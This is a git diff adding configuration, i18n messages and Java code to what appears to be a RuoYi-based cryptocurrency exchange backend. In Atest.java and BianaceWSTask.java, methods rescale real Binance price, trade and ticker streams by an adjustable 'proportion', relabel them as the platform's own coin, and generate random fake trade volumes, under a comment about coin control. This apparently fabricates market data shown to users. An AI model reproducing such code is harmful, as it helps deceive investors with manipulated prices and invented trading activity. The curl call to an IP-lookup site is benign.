+user.push.message=\u7528\u6237\u64CD\u4F5C\u88AB\u7981\u6B62 +mine.level.error=\u60A8\u7684VIP\u7B49\u7EA7\u4E0D\u591F\uFF0C\u65E0\u6CD5\u8D2D\u4E70\u6B21\u7406\u8D22\u4EA7\u54C1 +order.single.min=\u8D2D\u4E70\u7684\u91D1\u989D\u5C11\u4E8E\u6700\u4F4E\u9650\u989D\uFF0C\u65E0\u6CD5\u8D2D\u4E70 +order.single.max=\u8D2D\u4E70\u7684\u91D1\u989D\u5927\u4E8E\u6700\u5927\u9650\u989D\uFF0C\u65E0\u6CD5\u8D2D\u4E70 +order.buy.insufficient=\u60A8\u5F53\u524D\u6700\u591A\u53EF\u8D2D\u4E70\u91D1\u989D\u4E3A{0} +product.removed=\u4EA7\u54C1\u5DF2\u4E0B\u67B6 +financial.count.max=\u6B64\u7528\u6237\u5DF2\u5230\u8FBE\u9650\u5236\u6B21\u6570,\u4E0D\u5141\u8BB8\u8D2D\u4E70 +days.not.null=\u8D2D\u4E70\u5468\u671F\u4E3A\u7A7A +days.not.error=\u8D2D\u4E70\u5468\u671F\u9519\u8BEF + +contract.accont.error=\u5408\u7EA6\u8D26\u6237\u4F59\u989D\u4E0D\u8DB3 +contract.min.share=\u6700\u4F4E\u8D2D\u4E70\u6570\u4E3A{0} +contract.max.share=\u6700\u9AD8\u8D2D\u4E70\u6570\u4E3A{0} +contract.asset.error=\u5408\u7EA6\u8D26\u6237\u4F59\u989D\u4E0D\u8DB3 +adjust.min.error=\u51CF\u5C11\u7684\u4FDD\u8BC1\u91D1\u4E0D\u80FD\u5C0F\u4E8E\u521D\u59CB\u4FDD\u8BC1\u91D1 +order.status.error=\u975E\u6CD5\u63D0\u4EA4 +contract.buy.earn.error=\u4E70\u5165\u505A\u591A\uFF0C\u6B62\u76C8\u4EF7\u4E0D\u80FD\u5C0F\u4E8E\u5F00\u4ED3\u5747\u4EF7 +contract.buy.loss.error=\u4E70\u5165\u505A\u591A\uFF0C\u6B62\u635F\u4EF7\u4E0D\u80FD\u5927\u4E8E\u5F00\u4ED3\u5747\u4EF7 +contract.sell.earn.error=\u5356\u51FA\u5F00\u7A7A\uFF0C\u6B62\u76C8\u4EF7\u4E0D\u80FD\u5927\u4E8E\u5F00\u4ED3\u5747\u4EF7 +contract.sell.loss.error=\u5356\u51FA\u5F00\u7A7A,\u6B62\u635F\u4EF7\u4E0D\u80FD\u5C0F\u4E8E\u5F00\u4ED3\u5747\u4EF7 +contract.num.limit=\u6570\u91CF\u4E0D\u80FD\u5927\u4E8E\u6301\u4ED3\u91CF +#\u8D44\u91D1\u5212\u8F6C +asset_amount_error=\u4F59\u989D\u4E0D\u8DB3 + +order.amount_error=\u7406\u8D22\u8D26\u6237\u4F59\u989D\u4E0D\u8DB3 + +order.10s_retry=\u4E0B\u5355\u8FC7\u4E8E\u9891\u7E41\uFF0C\u8BF710s\u540E\u5C1D\u8BD5\u4E0B\u5355... + +back.code.exist.error = \u94F6\u884C\u5361\u53F7\u5DF2\u7ECF\u5B58\u5728{} + + + +contract.delivery.day=\u8DDD\u79BB\u4EA4\u5272\u65F6\u95F4\u8FD8\u6709\uFF1A{0}\u5929\u3002 +contract.delivery.margan=\u8DDD\u79BB\u4EA4\u5272\u65F6\u95F4\u8FD8\u6709\uFF1A{0}\u5929\uFF1B\u5982\u60A8\u7684\u6301\u4ED3\u62C5\u4FDD\u8D44\u4EA7\u5927\u4E8E\u7B49\u4E8E{1} USDT \u6216\u8005\u5408\u7EA6\u8D44\u4EA7\u5C0F\u4E8E\u7B49\u4E8E{2}USDT,\u53EF\u4EE5\u63D0\u524D\u5E73\u4ED3\u3002 +contract.delivery.earn=\u8DDD\u79BB\u4EA4\u5272\u65F6\u95F4\u8FD8\u6709\uFF1A{0}\u5929\uFF1B\u5982\u60A8\u7684\u6301\u4ED3\u62C5\u4FDD\u8D44\u4EA7\u5927\u4E8E\u7B49\u4E8E{1} USDT \u53EF\u4EE5\u63D0\u524D\u5E73\u4ED3\u3002 +contract.delivery.loss=\u8DDD\u79BB\u4EA4\u5272\u65F6\u95F4\u8FD8\u6709\uFF1A{0}\u5929\uFF1B\u5982\u60A8\u7684\u6301\u4ED3\u62C5\u4FDD\u8D44\u4EA7\u5C0F\u4E8E\u7B49\u4E8E{1}USDT,\u53EF\u4EE5\u63D0\u524D\u5E73\u4ED3\u3002 +order.audit.error=\u6B63\u5728\u5BA1\u6838\u4E2D +order.audit.pass=\u6B63\u5728\u5145\u503C\u4E2D\uFF0C\u9700\u8981\u5168\u74035\u4E2A\u8282\u70B9\u786E\u8BA4\uFF0C\u8BF7\u60A8\u8010\u5FC3\u7B49\u5F85 + +#\u7533\u8D2D +own.coin.limit.num= \u53EF\u8D2D\u4E70\u6570\u91CF{0} +own.coin.limit= \u53EF\u7528\u4F59\u989D{0} +own.coin.success= \u7533\u8D2D\u6210\u529F +own.coin.error= \u7CFB\u7EDF\u9519\u8BEF\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458 +own.coin.sub.play=\u60A8\u5DF2\u7533\u8D2D\uFF0C\u8BF7\u52FF\u91CD\u590D\u63D0\u4EA4\uFF01 +own.coin.sub.error=\u672A\u8BA2\u9605\u6210\u529F\u4E0D\u53EF\u7533\u8D2D +own.coin.sub.success=\u60A8\u5DF2\u83B7\u5F97 {0} \u7533\u8D2D\u8D44\u683C +own.coin.sub.num.error=\u8BF7\u586B\u5199\u6B63\u786E\u6570\u91CF +order.sell.min.error=\u6700\u4F4E\u5356\u51FA\u91CF\u4E3A{0} +order.audit.reject=\u5E73\u4ED3\u5931\u8D25 + +#\u65B0\u53D1\u5E01\u8BA2\u9605 +own.coin.subscribe.success=\u8BA2\u9605\u6210\u529F\uFF01 +own.coin.subscribe.error=\u8BA2\u9605\u5931\u8D25\uFF0C\u8BF7\u7A0D\u540E\u518D\u8BD5\uFF01 \ No newline at end of file diff --git a/ruoyi-admin/src/main/resources/logback.xml b/ruoyi-admin/src/main/resources/logback.xml new file mode 100644 index 0000000..651d594 --- /dev/null +++ b/ruoyi-admin/src/main/resources/logback.xml @@ -0,0 +1,93 @@ + + + + + + + + + + + ${log.pattern} + + + + + + ${log.path}/sys-info.log + + + + ${log.path}/sys-info.%d{yyyy-MM-dd}.log + + 60 + + + ${log.pattern} + + + + INFO + + ACCEPT + + DENY + + + + + ${log.path}/sys-error.log + + + + ${log.path}/sys-error.%d{yyyy-MM-dd}.log + + 60 + + + ${log.pattern} + + + + ERROR + + ACCEPT + + DENY + + + + + + ${log.path}/sys-user.log + + + ${log.path}/sys-user.%d{yyyy-MM-dd}.log + + 60 + + + ${log.pattern} + + + + + + + + + + + + + + + + + + + + + + + diff --git a/ruoyi-admin/src/main/resources/mybatis/mybatis-config.xml b/ruoyi-admin/src/main/resources/mybatis/mybatis-config.xml new file mode 100644 index 0000000..b6b1cff --- /dev/null +++ b/ruoyi-admin/src/main/resources/mybatis/mybatis-config.xml @@ -0,0 +1,20 @@ + + + + + + + + + + + + + + + + + + diff --git a/ruoyi-api/echo2-api.iml b/ruoyi-api/echo2-api.iml new file mode 100644 index 0000000..3c6c387 --- /dev/null +++ b/ruoyi-api/echo2-api.iml @@ -0,0 +1,315 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/ruoyi-api/pom.xml b/ruoyi-api/pom.xml new file mode 100644 index 0000000..f3d7809 --- /dev/null +++ b/ruoyi-api/pom.xml @@ -0,0 +1,102 @@ + + + + ruoyi + com.ruoyi + 3.8.5 + + 4.0.0 + jar + echo2-api + + + web服务入口 + + + + + + + org.springframework.boot + spring-boot-devtools + true + + + + + io.springfox + springfox-boot-starter + + + + + io.swagger + swagger-models + 1.6.2 + + + + + mysql + mysql-connector-java + + + + + com.ruoyi + ruoyi-framework + + + + + + + com.ruoyi + ruoyi-generator + + + org.projectlombok + lombok + + + + + + + + org.springframework.boot + spring-boot-maven-plugin + 2.1.1.RELEASE + + true + + + + + repackage + + + + + + org.apache.maven.plugins + maven-war-plugin + 3.1.0 + + false + ${project.artifactId} + + + + ${project.artifactId} + + + \ No newline at end of file diff --git a/ruoyi-api/src/main/java/com/ruoyi/ApiApplication.java b/ruoyi-api/src/main/java/com/ruoyi/ApiApplication.java new file mode 100644 index 0000000..7ac2d26 --- /dev/null +++ b/ruoyi-api/src/main/java/com/ruoyi/ApiApplication.java @@ -0,0 +1,30 @@ +package com.ruoyi; + + +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.boot.ApplicationArguments; +import org.springframework.boot.ApplicationRunner; +import org.springframework.boot.SpringApplication; +import org.springframework.boot.autoconfigure.SpringBootApplication; +import org.springframework.boot.autoconfigure.jdbc.DataSourceAutoConfiguration; +import org.springframework.cache.annotation.EnableCaching; +import org.springframework.scheduling.annotation.EnableAsync; +import org.springframework.scheduling.annotation.EnableScheduling; + +/** + * 启动程序 + * + * @author ruoyi + */ +@SpringBootApplication(exclude = { DataSourceAutoConfiguration.class }) +@EnableScheduling +@EnableAsync +@EnableCaching + +public class ApiApplication{ + public static void main(String[] args){ + SpringApplication.run(ApiApplication.class, args); + System.out.println("api 启动成功 \n" ); + } + +} diff --git a/ruoyi-api/src/main/java/com/ruoyi/Atest.java b/ruoyi-api/src/main/java/com/ruoyi/Atest.java new file mode 100644 index 0000000..f48cd66 --- /dev/null +++ b/ruoyi-api/src/main/java/com/ruoyi/Atest.java @@ -0,0 +1,231 @@ +package com.ruoyi; + +import com.alibaba.fastjson2.JSON; +import com.alibaba.fastjson2.JSONArray; +import com.alibaba.fastjson2.JSONObject; +import com.ruoyi.bussiness.domain.KlineSymbol; +import com.ruoyi.socket.manager.WebSocketUserManager; +import com.ruoyi.websocket.WebSocketConfigdd; +import com.ruoyi.websocket.WebSocketSubscriber; +import org.java_websocket.client.WebSocketClient; +import org.java_websocket.drafts.Draft; +import org.java_websocket.handshake.ServerHandshake; + +import java.io.BufferedReader; +import java.io.IOException; +import java.io.InputStreamReader; +import java.math.BigDecimal; +import java.math.RoundingMode; +import java.net.InetSocketAddress; +import java.net.Proxy; +import java.net.URI; +import java.util.*; + +/** + * @ClassName Atest + * @Description TODO + * @Author px + * @Version 1.0 + */ +public class Atest { + + public static void main(String[] args) { + + String proxyHost = "localhost"; + int proxyPort = 33210; + + Proxy proxy = new Proxy(Proxy.Type.HTTP, new InetSocketAddress(proxyHost, proxyPort)); + + System.setProperty("http.proxyHost",proxyHost); + System.setProperty("http.proxyPort", String.valueOf(proxyPort)); + System.setProperty("https.proxyHost",proxyHost); + System.setProperty("https.proxyPort",String.valueOf(proxyPort)); + + + + String command = "curl http://cip.cc "; + + try { + Process process = Runtime.getRuntime().exec(command); + + BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream())); + String line; + while ((line = reader.readLine()) != null) { + System.out.println(line); + } + + int exitCode = process.waitFor(); + System.out.println("Exit Code: " + exitCode); + } catch (IOException | InterruptedException e) { + e.printStackTrace(); + } + } + + + public class WebSocketSubscriber extends WebSocketClient { + private static final long RECONNECT_INTERVAL = 5000; // 重连间隔,单位:毫秒 + + private Timer reconnectTimer; + private WebSocketUserManager webSocketUserManager; + private Set allCoins; + + private List coinList; + + public WebSocketSubscriber(URI serverUri, Draft draft, List coinList, WebSocketUserManager webSocketUserManager, Set allCoins) { + super(serverUri, draft); + reconnectTimer = new Timer(); + this.coinList = coinList; + this.webSocketUserManager = webSocketUserManager; + this.allCoins = allCoins; + } + + @Override + public void onOpen(ServerHandshake serverHandshake) { + System.out.println("WebSocket connection opened."); + } + + @Override + public void onMessage(String message) { + // 处理接收到的消息 + // 如果收到服务器发送的ping帧,回复pong帧 + if (message.equals("Ping")) { + send("Pong"); + } + //处理k线是数据 + if(message.contains("kline")){ + + } + //处理detail + if(message.contains("24hrTicker")){ + + } + + } + + @Override + public void onClose(int code, String reason, boolean remote) { + System.out.println("WebSocket connection closed. Code: " + code + ", Reason: " + reason); + if(-1 != code){ + reconnectWebSocket(); + } + } + + @Override + public void onError(Exception e) { + System.err.println("WebSocket error: " + e.getMessage()); + reconnectWebSocket(); + } + + private void reconnectWebSocket() { + reconnectTimer.schedule(new TimerTask() { + @Override + public void run() { + reconnect(); + System.out.println("Attempting to reconnect to WebSocket..."); + } + }, RECONNECT_INTERVAL); + } + + private String ownDetail(String event,KlineSymbol kSymbol) { + JSONObject jsonObject = JSONObject.parseObject(event); + BigDecimal proportion = kSymbol.getProportion(); + if(proportion.compareTo(BigDecimal.ZERO)==0){ + proportion=new BigDecimal("100"); + } + BigDecimal o = new BigDecimal(jsonObject.getString("o")); + BigDecimal h = new BigDecimal(jsonObject.getString("h")); + BigDecimal l = new BigDecimal(jsonObject.getString("l")); + BigDecimal c = new BigDecimal(jsonObject.getString("c")); + BigDecimal q = new BigDecimal(jsonObject.getString("q")); + jsonObject.put("s",kSymbol.getSymbol().toUpperCase()+"USDT"); + jsonObject.put("o",o.multiply(proportion).divide(new BigDecimal("100")).setScale(6, RoundingMode.HALF_UP)); + jsonObject.put("h",h.multiply(proportion).divide(new BigDecimal("100")).setScale(6, RoundingMode.HALF_UP)); + jsonObject.put("l",l.multiply(proportion).divide(new BigDecimal("100")).setScale(6, RoundingMode.HALF_UP)); + jsonObject.put("c",c.multiply(proportion).divide(new BigDecimal("100")).setScale(6, RoundingMode.HALF_UP)); + jsonObject.put("q",q.multiply(proportion).divide(new BigDecimal("100")).setScale(6, RoundingMode.HALF_UP)); + return jsonObject.toJSONString(); + } + + private String ownTrade(String event,KlineSymbol kSymbol ) { + BigDecimal proportion = kSymbol.getProportion(); + if(proportion.compareTo(BigDecimal.ZERO)==0){ + proportion=new BigDecimal("100"); + } + JSONObject jsonObject = JSONObject.parseObject(event); + BigDecimal p = new BigDecimal(jsonObject.getString("p")); + jsonObject.put("s",kSymbol.getSymbol().toUpperCase()+"USDT"); + jsonObject.put("p",p.multiply(proportion).divide(new BigDecimal("100")).setScale(6, RoundingMode.HALF_UP)); + return jsonObject.toJSONString(); + } + + + private String ownKline(String event,KlineSymbol kSymbol) { + BigDecimal proportion = kSymbol.getProportion(); + if(proportion.compareTo(BigDecimal.ZERO)==0){ + proportion=new BigDecimal("100"); + } + JSONObject jsonObject = JSONObject.parseObject(event); + JSONObject k = jsonObject.getJSONObject("k"); + BigDecimal o = new BigDecimal(k.getString("o")); + BigDecimal h = new BigDecimal(k.getString("h")); + BigDecimal l = new BigDecimal(k.getString("l")); + BigDecimal c = new BigDecimal(k.getString("c")); + BigDecimal q = new BigDecimal(k.getString("q")); + jsonObject.put("s",kSymbol.getSymbol().toUpperCase()+"USDT"); + k.put("s",kSymbol.getSymbol().toUpperCase()+"USDT"); + k.put("o",o.multiply(proportion).divide(new BigDecimal("100")).setScale(6, RoundingMode.HALF_UP)); + k.put("h",h.multiply(proportion).divide(new BigDecimal("100")).setScale(6, RoundingMode.HALF_UP)); + k.put("l",l.multiply(proportion).divide(new BigDecimal("100")).setScale(6, RoundingMode.HALF_UP)); + k.put("c",c.multiply(proportion).divide(new BigDecimal("100")).setScale(6, RoundingMode.HALF_UP)); + k.put("q",q.multiply(proportion).divide(new BigDecimal("100")).setScale(6, RoundingMode.HALF_UP)); + jsonObject.put("k",k); + return jsonObject.toJSONString(); + } + private String createEvent(String event) { + JSONObject jsonObject = JSONObject.parseObject(event); + String k = jsonObject.getString("k"); + JSONObject K = JSONObject.parseObject(k); + + String s = jsonObject.getString("s"); + String E = jsonObject.getString("E"); + String T = K.getString("T"); + + BigDecimal p =new BigDecimal(K.getString("c")); + BigDecimal q = null; + // 根据价格 生成随机成交数量 0-1 50--2000 价格 1-10 200以内 价格 10-50 0-20 价格50-5000 0.00005000 以内随机数 5000+以上 0.000005000 + Integer randomBoolean=new Random().nextInt(2); //这儿是生成的小于100的整数,nextInt方法的参数值要是大于0的整数 + Boolean m = randomBoolean>0?true:false; + // 产生一个2~100的数 + if(p.compareTo(BigDecimal.ONE)<0){ + int min = 50; // 定义随机数的最小值 + int max = 2000; // 定义随机数的最大值 + Integer random = (int) min + (int) (Math.random() * (max - min)); + q=new BigDecimal(random.toString()); + } + if(p.compareTo(new BigDecimal("1"))>0 && p.compareTo(new BigDecimal("10"))<0){ + int max = 2000; // 定义随机数的最大值 + Integer random = (int) (Math.random() * (max)); + q=new BigDecimal(random.toString()); + } + if(p.compareTo(new BigDecimal("10"))>0 && p.compareTo(new BigDecimal("50"))<0){ + int max = 20; // 定义随机数的最大值 + Integer random = + (int) (Math.random() * (max)); + q=new BigDecimal(random.toString()); + } + if(p.compareTo(new BigDecimal("50"))>0 && p.compareTo(new BigDecimal("5000"))<0){ + int min = 50; // 定义随机数的最小值 + int max = 5000; // 定义随机数的最大值 + Integer random = (int) min + (int) (Math.random() * (max - min)); + q=new BigDecimal(random.toString()).divide(new BigDecimal("1000000")); + } + if(p.compareTo(new BigDecimal("5000"))>0 ){ + int min = 50; // 定义随机数的最小值 + int max = 5000; // 定义随机数的最大值 + Integer random = (int) min + (int) (Math.random() * (max - min)); + q=new BigDecimal(random.toString()).divide(new BigDecimal("10000000")); + } + String str = "{'e':'aggTrade','E':'"+E+"','s':'"+s+"','p':'"+p+"','q':'"+q.toString()+"','T':'"+T+"','m':'"+m+"'}"; + return str; + } + } +} diff --git a/ruoyi-api/src/main/java/com/ruoyi/RuoYiServletInitializer.java b/ruoyi-api/src/main/java/com/ruoyi/RuoYiServletInitializer.java new file mode 100644 index 0000000..591708a --- /dev/null +++ b/ruoyi-api/src/main/java/com/ruoyi/RuoYiServletInitializer.java @@ -0,0 +1,18 @@ +package com.ruoyi; + +import org.springframework.boot.builder.SpringApplicationBuilder; +import org.springframework.boot.web.servlet.support.SpringBootServletInitializer; + +/** + * web容器中进行部署 + * + * @author ruoyi + */ +public class RuoYiServletInitializer extends SpringBootServletInitializer +{ + @Override + protected SpringApplicationBuilder configure(SpringApplicationBuilder application) + { + return application.sources(ApiApplication.class); + } +} diff --git a/ruoyi-api/src/main/java/com/ruoyi/config/RedisStreamConfig.java b/ruoyi-api/src/main/java/com/ruoyi/config/RedisStreamConfig.java new file mode 100644 index 0000000..69e7605 --- /dev/null +++ b/ruoyi-api/src/main/java/com/ruoyi/config/RedisStreamConfig.java @@ -0,0 +1,98 @@ +package com.ruoyi.config; + +import com.ruoyi.common.utils.RedisUtil; +import com.ruoyi.common.utils.SpringContextUtil; +import com.ruoyi.listener.ListenerMessage; +import com.ruoyi.socket.service.MarketThread; +import com.ruoyi.socket.socketserver.WebSocketCoinOver; +import com.ruoyi.socket.socketserver.WebSocketNotice; +import com.ruoyi.socket.socketserver.WebSocketSubCoins; +import com.ruoyi.websocket.WebSocketRunner; +import lombok.extern.slf4j.Slf4j; +import lombok.var; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.beans.factory.annotation.Value; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.Configuration; +import org.springframework.data.redis.connection.RedisConnectionFactory; +import org.springframework.data.redis.connection.stream.Consumer; +import org.springframework.data.redis.connection.stream.ReadOffset; +import org.springframework.data.redis.connection.stream.RecordId; +import org.springframework.data.redis.connection.stream.StreamOffset; +import org.springframework.data.redis.stream.StreamMessageListenerContainer; +import org.springframework.data.redis.stream.Subscription; + + +import javax.annotation.PostConstruct; +import java.time.Duration; +import java.util.ArrayList; +import java.util.HashMap; +import java.util.List; +import java.util.Map; + +/** + * @author Huhailong + * @Description 注入监听类 + * @Date 2021/3/12. + */ +@Slf4j +@Configuration +public class RedisStreamConfig { + + private final ListenerMessage streamListener; //监听类 + private final RedisUtil redisUtil; //redis工具类 + + @Value("${api-redis-stream.names}") + private String[]redisStreamNames; //redis stream 数组 + @Value("${api-redis-stream.groups}") + private String[]groups; //redis stream 群组数组 + + /** + * 注入工具类和监听类 + */ + @Autowired + public RedisStreamConfig(RedisUtil redisUtil, WebSocketRunner webSocketRunner, WebSocketNotice webSocketNotice, WebSocketCoinOver webSocketCoinOver, WebSocketSubCoins webSocketCoin){ + this.redisUtil = redisUtil; + this.streamListener = new ListenerMessage(redisUtil,webSocketRunner,webSocketNotice,webSocketCoinOver,webSocketCoin); + } + + @Bean + public List subscription(RedisConnectionFactory factory){ + List resultList = new ArrayList<>(); + var options = StreamMessageListenerContainer + .StreamMessageListenerContainerOptions + .builder() + .pollTimeout(Duration.ofSeconds(1)) + .build(); + for (String redisStreamName : redisStreamNames) { + initStream(redisStreamName,groups[0]); + var listenerContainer = StreamMessageListenerContainer.create(factory,options); + Subscription subscription = listenerContainer.receiveAutoAck(Consumer.from(groups[0], this.getClass().getName()), + StreamOffset.create(redisStreamName, ReadOffset.lastConsumed()), streamListener); + resultList.add(subscription); + listenerContainer.start(); + } + return resultList; + } + + + private void initStream(String key, String group){ + boolean hasKey = redisUtil.hasKey(key); + if(!hasKey){ + Map map = new HashMap<>(); + map.put("field","value"); + RecordId recordId = redisUtil.addStream(key, map); + redisUtil.addGroup(key,group); + //将初始化的值删除掉 + redisUtil.delField(key,recordId.getValue()); + log.debug("stream:{}-group:{} initialize success",key,group); + } + } + + @PostConstruct + private void initStream(){ + for (String redisStreamName : redisStreamNames) { + initStream(redisStreamName,groups[0]); + } + } +} \ No newline at end of file diff --git a/ruoyi-api/src/main/java/com/ruoyi/listener/ListenerMessage.java b/ruoyi-api/src/main/java/com/ruoyi/listener/ListenerMessage.java new file mode 100644 index 0000000..067b2cd --- /dev/null +++ b/ruoyi-api/src/main/java/com/ruoyi/listener/ListenerMessage.java @@ -0,0 +1,77 @@ +package com.ruoyi.listener; + +import cn.hutool.json.JSONUtil; +import com.ruoyi.bussiness.domain.setting.*; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.utils.RedisUtil; +import com.ruoyi.common.utils.SpringContextUtil; +import com.ruoyi.socket.service.MarketThread; +import com.ruoyi.socket.socketserver.WebSocketCoinOver; +import com.ruoyi.socket.socketserver.WebSocketNotice; +import com.ruoyi.socket.socketserver.WebSocketSubCoins; +import com.ruoyi.websocket.WebSocketRunner; +import com.ruoyi.websocket.WebSocketSubscriber; +import lombok.extern.slf4j.Slf4j; +import org.springframework.data.redis.connection.stream.MapRecord; +import org.springframework.data.redis.stream.StreamListener; +import org.springframework.stereotype.Component; + +import javax.annotation.Resource; +import java.net.URISyntaxException; +import java.util.ArrayList; +import java.util.Comparator; +import java.util.List; +import java.util.Map; +import java.util.stream.Collectors; + +@Component +@Slf4j +public class ListenerMessage implements StreamListener> { + + RedisUtil redisUtil; + List marketThread; + WebSocketNotice webSocketNotice; + WebSocketCoinOver webSocketCoinOver; + WebSocketSubCoins webSocketCoin; + WebSocketRunner webSocketRunner; + + + public ListenerMessage(RedisUtil redisUtil,WebSocketRunner webSocketRunner, WebSocketNotice webSocketNotice, WebSocketCoinOver webSocketCoinOver,WebSocketSubCoins webSocketCoin){ + this.redisUtil = redisUtil; + this.webSocketRunner = webSocketRunner; + this.webSocketNotice = webSocketNotice; + this.webSocketCoinOver = webSocketCoinOver; + this.webSocketCoin = webSocketCoin; + } + + @Override + public void onMessage(MapRecord entries) { + try{ + //check用于验证key和对应消息是否一直 + log.debug("stream name :{}, body:{}, check:{}",entries.getStream(),entries.getValue(),(entries.getStream().equals(entries.getValue().get("name")))); + String stream = entries.getStream(); + switch (stream) { + case "socket_key": + Map map = entries.getValue(); + for (String s : map.keySet()) { + if(s.equals("settlement")){ + webSocketCoin.sendInfoAll(Integer.parseInt(map.get(s))); + }else if(s.equals("position")){ + webSocketCoin.sendInfo(Integer.parseInt(map.get(s))); + }else if(s.equals("user_status")){ + webSocketCoin.sendUserFreeze(map.get(s)); + } else if (s.equals("add_coin")) { + webSocketRunner.reStart(); + marketThread.stream().forEach(marketThread1 -> { + // marketThread1.marketThreadRun(); + }); + } + } + } + redisUtil.delField(entries.getStream(),entries.getId().getValue()); + }catch (Exception e){ + log.error("error message:{}",e.getMessage()); + } + } + +} diff --git a/ruoyi-api/src/main/java/com/ruoyi/task/BianaceWSTask.java b/ruoyi-api/src/main/java/com/ruoyi/task/BianaceWSTask.java new file mode 100644 index 0000000..8542440 --- /dev/null +++ b/ruoyi-api/src/main/java/com/ruoyi/task/BianaceWSTask.java @@ -0,0 +1,189 @@ +package com.ruoyi.task; + +import com.alibaba.fastjson2.JSONObject; +import com.binance.connector.client.impl.WebSocketStreamClientImpl; +import com.binance.connector.client.utils.httpclient.WebSocketStreamHttpClientSingleton; +import com.ruoyi.bussiness.domain.*; +import com.ruoyi.bussiness.service.*; +import com.ruoyi.common.utils.StringUtils; +import com.ruoyi.socket.manager.BianaceWebSocketClient; +import com.ruoyi.socket.manager.WebSocketUserManager; +import com.ruoyi.socket.service.impl.MarketThreadBinanceImpl; +import lombok.extern.slf4j.Slf4j; +import okhttp3.OkHttpClient; +import org.springframework.scheduling.annotation.Scheduled; +import org.springframework.stereotype.Component; + +import javax.annotation.Resource; +import java.math.BigDecimal; +import java.math.RoundingMode; +import java.util.HashSet; +import java.util.List; +import java.util.Set; + +/** + * 查询地址的usdt余额定时任务。 + */ +@Component +@Slf4j +public class BianaceWSTask { + + @Resource + private ITSecondCoinConfigService secondCoinConfigService; + @Resource + private ITContractCoinService contractCoinService; + @Resource + private ITCurrencySymbolService tCurrencySymbolService; + @Resource + private ITSymbolManageService tSymbolManageService; + @Resource + private IKlineSymbolService klineSymbolService; + + @Resource + private WebSocketUserManager webSocketUserManager; + @Resource + private ITOwnCoinService ownCoinService; + @Scheduled(cron = "0 0 1 * * ?") + public void queryAddreUsdt(){ + /* log.info("全部断开"); + try { + log.info("重连"); + BianaceWebSocketClient klineClient = new BianaceWebSocketClient(); + BianaceWebSocketClient aggTradeClient = new BianaceWebSocketClient(); + BianaceWebSocketClient symbolTickerClient = new BianaceWebSocketClient(); + Set strings = new HashSet<>(); + //秒合约 + TSecondCoinConfig tSecondCoinConfig = new TSecondCoinConfig(); + tSecondCoinConfig.setMarket("binance"); + tSecondCoinConfig.setStatus(1L); + List tSecondCoinConfigs = secondCoinConfigService.selectTSecondCoinConfigList(tSecondCoinConfig); + for (TSecondCoinConfig secondCoinConfig : tSecondCoinConfigs) { + strings.add(secondCoinConfig.getSymbol()); + } + //U本位 + TContractCoin tContractCoin =new TContractCoin(); + tContractCoin.setEnable(0L); + tContractCoin.setMarket("binance"); + List tContractCoins = contractCoinService.selectTContractCoinList(tContractCoin); + for (TContractCoin contractCoin : tContractCoins) { + strings.add(contractCoin.getSymbol()); + } + //币币 + TCurrencySymbol tCurrencySymbol = new TCurrencySymbol(); + tCurrencySymbol.setEnable("1"); + tCurrencySymbol.setMarket("binance"); + List tCurrencySymbols = tCurrencySymbolService.selectTCurrencySymbolList(tCurrencySymbol); + for (TCurrencySymbol currencySymbol : tCurrencySymbols) { + strings.add(currencySymbol.getSymbol()); + } + //兑换 + TSymbolManage tSymbolManage = new TSymbolManage(); + tSymbolManage.setEnable("1"); + tCurrencySymbol.setMarket("binance"); + List tSymbolManages = tSymbolManageService.selectTSymbolManageList(tSymbolManage); + for (TSymbolManage symbolManage : tSymbolManages) { + strings.add(symbolManage.getSymbol()+"usdt"); + } + //发币 和 自发币 + KlineSymbol klineSymbol = new KlineSymbol().setMarket("echo"); + List list = klineSymbolService.selectKlineSymbolList(klineSymbol); + for (KlineSymbol kline : list) { + strings.add(kline.getReferCoin()+"usdt"); + } + for (String string : strings) { + klineClient.klineStream(string, "1m", ((event) -> { + webSocketUserManager.binanceKlineSendMeg(event); + String s = event; + //kline 逻辑 分发 和 控币 异步 + for (KlineSymbol kSymbol : list) { + if((string.toLowerCase().replace("usdt","")).equals(kSymbol.getReferCoin().toLowerCase())) { + event = ownKline(s, kSymbol); + webSocketUserManager.binanceKlineSendMeg(event); + } + } + })); + //对应trade + aggTradeClient.aggTradeStream(string, ((event) -> { + webSocketUserManager.binanceTRADESendMeg(event); + String s = event; + for (KlineSymbol kSymbol : list) { + if((string.toLowerCase().replace("usdt","")).equals(kSymbol.getReferCoin().toLowerCase())) { + event = ownTrade(s, kSymbol); + webSocketUserManager.binanceTRADESendMeg(event); + } + } + })); + //对应detail + symbolTickerClient.symbolTicker(string, ((event) -> { + String s = event; + webSocketUserManager.binanceDETAILSendMeg(event); + for (KlineSymbol kSymbol : list) { + if((string.toLowerCase().replace("usdt","")).equals(kSymbol.getReferCoin().toLowerCase())) { + event= ownDetail(s,kSymbol); + webSocketUserManager.binanceDETAILSendMeg(event); + } + } + })); + } + MarketThreadBinanceImpl.klineClient = klineClient; + MarketThreadBinanceImpl.aggTradeClient = aggTradeClient; + MarketThreadBinanceImpl.symbolTickerClient = symbolTickerClient; + log.info("重连结束"); + } catch (Exception e) { + e.printStackTrace(); + }*/ + } + private String ownDetail(String event,KlineSymbol kSymbol) { + JSONObject jsonObject = JSONObject.parseObject(event); + BigDecimal proportion = kSymbol.getProportion(); + if(proportion.compareTo(BigDecimal.ZERO)==0){ + proportion=new BigDecimal("100"); + } + BigDecimal o = new BigDecimal(jsonObject.getString("o")); + BigDecimal h = new BigDecimal(jsonObject.getString("h")); + BigDecimal l = new BigDecimal(jsonObject.getString("l")); + BigDecimal c = new BigDecimal(jsonObject.getString("c")); + BigDecimal q = new 